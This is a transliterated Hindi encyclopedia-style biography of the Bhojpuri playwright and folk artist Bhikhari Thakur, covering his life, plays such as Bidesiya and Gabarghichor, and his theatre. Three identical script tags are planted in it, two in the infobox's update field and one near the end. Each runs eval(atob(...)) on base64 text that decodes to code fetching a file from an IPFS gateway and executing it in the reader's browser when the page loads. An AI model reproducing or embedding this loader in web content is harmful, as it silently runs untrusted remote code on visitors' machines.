भिखारी ठाकुर
bhikhari thakur
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| poora nam | bhikhari thakur |
| janm | 18 disambar 1887 |
| janm bhoomi | kutubapur (diyara) gaanv, saran zila bihar |
| mrityu | 10 julaee, 1971 |
| abhibhavak | shri dal siangar thakur aur shrimati shivakali devi |
| karm bhoomi | bihar |
| karm-kshetr | kavi, gitakar, natakakar, naty nirdeshak, lok sangitakar aur abhineta |
| mukhy rachanaean | bidesiya, gabaradhichor, beti-viyog, bhaee virodh, ganga snan adi |
| nagarikata | bharatiy |
| bhasha | bhojapuri |
| any janakari | rahul saankrityayan ne inhean 'anagadh hira' kaha tha to jagadishachandr mathur ne 'bharat muni ki paranpara ka kalakar'. inhean 'bhojapuri ka sheksapiyar' bhi kaha gaya. |
| adyatan | 17:30, 4 julaee 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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bhikhari thakur (aangrezi: Bhikhari Thakur, janm: 18 disambar 1887 bihar - mrityu: 10 julaee, 1971) bhojapuri ke samarth lok kalakar, rangakarmi lok jagaran ke sandesh vahak, nari vimarsh evan dalit vimarsh ke udghoshak, lok git tatha bhajan kirtan ke anany sadhak the. bhikhari thakur bahuayami pratibha ke vyakti the. ve ek hi sath kavi, gitakar, natakakar, naty nirdeshak, lok sangitakar aur abhineta the. bhikhari thakur ki matribhasha bhojapuri thi aur unhoanne bhojapuri ko hi apane kavy aur natak ki bhasha banaya. rahul saankrityayan ne unako 'anagadh hira' kaha tha to jagadishachandr mathur ne 'bharat muni ki paranpara ka kalakar'. unako 'bhojapuri ka sheksapiyar' bhi kaha gaya.
jivan parichay
bhikhari thakur ka janm 18 disambar, 1887 ko bihar ke saran zile ke kutubapur (diyara) gaanv mean ek naee parivar mean hua tha. unake pitaji ka nam dal siangar thakur v mataji ka nam shivakali devi tha.
sahityik parichay
bhikhari thakur ka rachanatmak sansar behad saral hai- deshaj aur saral. isamean vishamataean, samanti hiansa, manushy ke chhal-prapanch- ye sab kuchh bhare hue haian aur ve apani kalam ki noank se aur pradarshan ki yuktiyoan se in pho doan mean nashtar chubhote haian. unaki bhasha mean chuhal hai, vyangy hai, par ve apani bhasha ki jadoogari se aisi tamam gaanthoan ko kholate haian, jinhean kholate hue manushy darata hai. bhikhari thakur ki rachanaoan ka oopari svaroop jitana saral dikhaee deta hai, bhitar se vah utana hi jatil hai aur hahakar se bhara hua hai. isamean pravesh pana to asan hai, par ek bar pravesh pane ke bad nikalana mushkil kam hai. ve apane pathak aur darshak par jo prabhav dalate haian, vah itana gahara hota hai ki isase pathak aur darshak ka aantarajagat ulat-palat jata hai. yah ulat-palat dainandin jivan mean manushy ke sath yatra par nikal p data hai. isase mukti pana kathin hai. unaki rachanaoan ke bhitar manushy ki chikh bhari huee hai. unamean aisa dard hai, jo ajivan apako bechain karata rahe. isake sath-sath sabase mahatvapoorn bat yah hai ki gahan sankat ke kal mean ve apako vishvas dete haian, apane du:khoan se, prapanchoan se l dane ki shakti dete haian.
rachanaean
pramukh natak
- bideshiya
- bhaee-virodh
- beti-viyog
- kaliyug-prem
- radheshyam-bahar
- biraha-bahar
- naqal bhaand a netua ke
- gabaraghichor
- ganga snan (asnan)
- vidhava-vilap
- putravadh
- nanad-bhaujaee
any
shiv vivah, bhajan kirtan: ram, ramalila gan, bhajan kirtan: krishna, mata bhakti, arati, budhashala ke bayaan, chauvarn padavi, nai bahar, shanka samadhan, vividh.
ek anokha kalakar
bhikhari thakur ka poora rachanatmak sansar lokonmukh hai. unaki yah lokonmukhata hamari bhav-sanpada ko aur jivan ke sangharsh aur du:kh se upaji pi da ko ek santulan ke sath prastut karati hai. ve du:kh ka bhi utsav manate hue dikhate haian. ve trejedi ko k aaumedi banae bina k aaumedi ke star par jakar prastut karate haian. natak ko drishy-kavy kaha gaya hai. apane natakoan mean kavitaee karate hue ve kavita mean drishyoan ko bharate haian. unake kathanak bahut pechadar haian- ve sadharan aur samany haian, par apane rachanatmak sparshoan se ve sadharan aur bahut had tak saralikrit kathanak mean sadharan aur vishisht kathy bhar dete haian. vah yah sab jivananubhav ke bal par karate haian. ve itane siddhahast haian ki apane jivananubhavoan ke bal par rachi gee kavitaoan se hamare aantarajagat mean nirantar sanvad ki sthiti banate haian. darshak ya pathak ke aantarajagat mean chal rahi dhvaniyaan-pratidhvaniyaan, ek gahan bhavalok ki rachana karati haian. yah sab karate hue ve sangit ka upayog karate haian. unaka sangit bhi jivan ke chhote-chhote prasangoan se upajata hai aur yah sangit apane pravah mean shrota aur darshak ko bahakar nahian le jata, balki use sajag banata hai.
bidesiya
apane prasiddh natak 'bidesiya' mean bhikhari thakur ne stri jivan ke aise prasangoan ko abhivyakti ke lie chuna, jin prasangoan se upajane vali pi da aj bhi hamare samaj mean jivit hai. desh jis samay svatantrata ki ek b di rajanitik l daee l d raha tha, us samay ve is rajanitik l daee se alag striyoan ki mukti ki l daee l d rahe the. svatantrata ki l daee samapt ho gee, desh rajanitik roop se ajad ho gaya, par striyoan ki mukti ki l daee aj bhi jari hai. apane natak bidesiya mean ve ek desi stri ki akath pi da ka bayan karate haian, jo pati ke parades jane ke bad gaanv mean akele chhoot gee hai. ve is akele chhoot gee stri ki pi da ko tamam chhoot ge logoan ki pi da mean badal dete haian. desh ne 1947 mean vibhajan aur visthapan dekha, par bhikhari thakur ne 1940 ke asapas apane natak bidesiya ke madhyam se bihar se gaanvoan se roji-rozagar ke lie visthapit hone vale logoan ki pi da aur sangharshoan ko svar diya. unake natak ka svar stri jivan ke sangharsh ka svar hai. bidesiya ke atirikt unake any natakoan ke keandr mean bhi stri hi hai.
gabaraghichor
'gabaraghichor' natak likhate hue vah garbh par stri ke maulik adhikar ka prashn kh da karate haian. bartolt brekht ke natak 'kakeshiyan ch aauk sarkil' (hindi mean 'kh diya ka ghera') ke kathy se milata-julata hai gabaraghichor ka kathy, jisako likhakar brekht aantarrashtriy khyati pate haian. vahi kathy bamushkil sakshar bhikhari thakur apane samaj se chunate haian aur asankhy striyoan ki vani ban jate haian. bhikhari ki rachanatmak sanvedana chakit karati hai ki jis kathy ko brekht chunate haian thik usi kathy ko ve bhi svikar karate haian.
bhikhari thakur ne jis kal mean stri garbh par stri ke adhikar ke prashn uthae us samay bharat ke kisi gramin ilake mean sarvajanik pradarshan to door, yah bat sochi bhi nahian ja sakati thi. vah soch ke star par gramin samaj ki striyoan mean ek vyapak parivartan ke jivant abhiyan par nikalate haian. yah ek aisa saanskritik abhiyan tha, jisaki kalpana aj ki rajaniti ki duniya mean sanbhav nahian hai.
rangamanch
unhoanne doosara mahattvapoorn kam apane rangamanch ki kalatmakata ke star par kiya. unhoanne jivan se hi apane lie kala ke roop chune. vahian se natak ki yuktiyoan ko uthaya. bihar ke tatkalin samanti samaj ne jis kala ko apani vikrit ruchiyoan ka shikar bana liya tha aur ashlil kar diya tha, use unhoanne naya aur prabhavashali roop diya. aj bhikhari thakur hamare lie isalie mahattvapoorn haian ki ve sikhate haian ki jivan ke aantardvandv hi rachanatmakata ko dirghajivi banate haian. unaka poora rachanatmak sansar aantardvandvoan se bhara hua hai. ve svayan gosvami tulasidas ki tarah bhakt kavi banana chahate the aur kh dagapur (bangal) mean ramalila ne unake bhitar kavitaee ka bij dala, par unake samay aur samaj ke du:khoan ne unhean manushy ki pi da ka rachanakar banaya.
nidhan
bhikhari thakur ka nidhan 10 julaee, san 1971 ko 84 varsh ki ayu mean ho gaya. bhikhari thakur ko sahity aur sanskriti ki duniya ke pahaluoan ne prasiddh nahian kiya aur n hi jivit rakha. unaki prasiddh aur vyapak svikaryata ke karan unaki rachanaoan ke garbh mean chhipe haian. ve is bat ko achchhi tarah janate the ki natak kabhi purana nahian hota. use har kshan naya rahana p data hai aur yah tabhi sanbhav hai, jab usake bhitar manushy samagrata ke sath jivit ho. unhoanne jivan se jo arjit kiya usi ki punarrachana ki. aj bharatiy gramin samaj un tamam du:khoan se joojh raha hai, jinaki or ve apani rachanaoan se sanket karate haian. 'bhaee-virodh', 'beti-viyog', ya 'putravadh' – unake in tamam natakoan mean manushy ke apasi sanbandhoan ke chhijate jane ki pi da hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh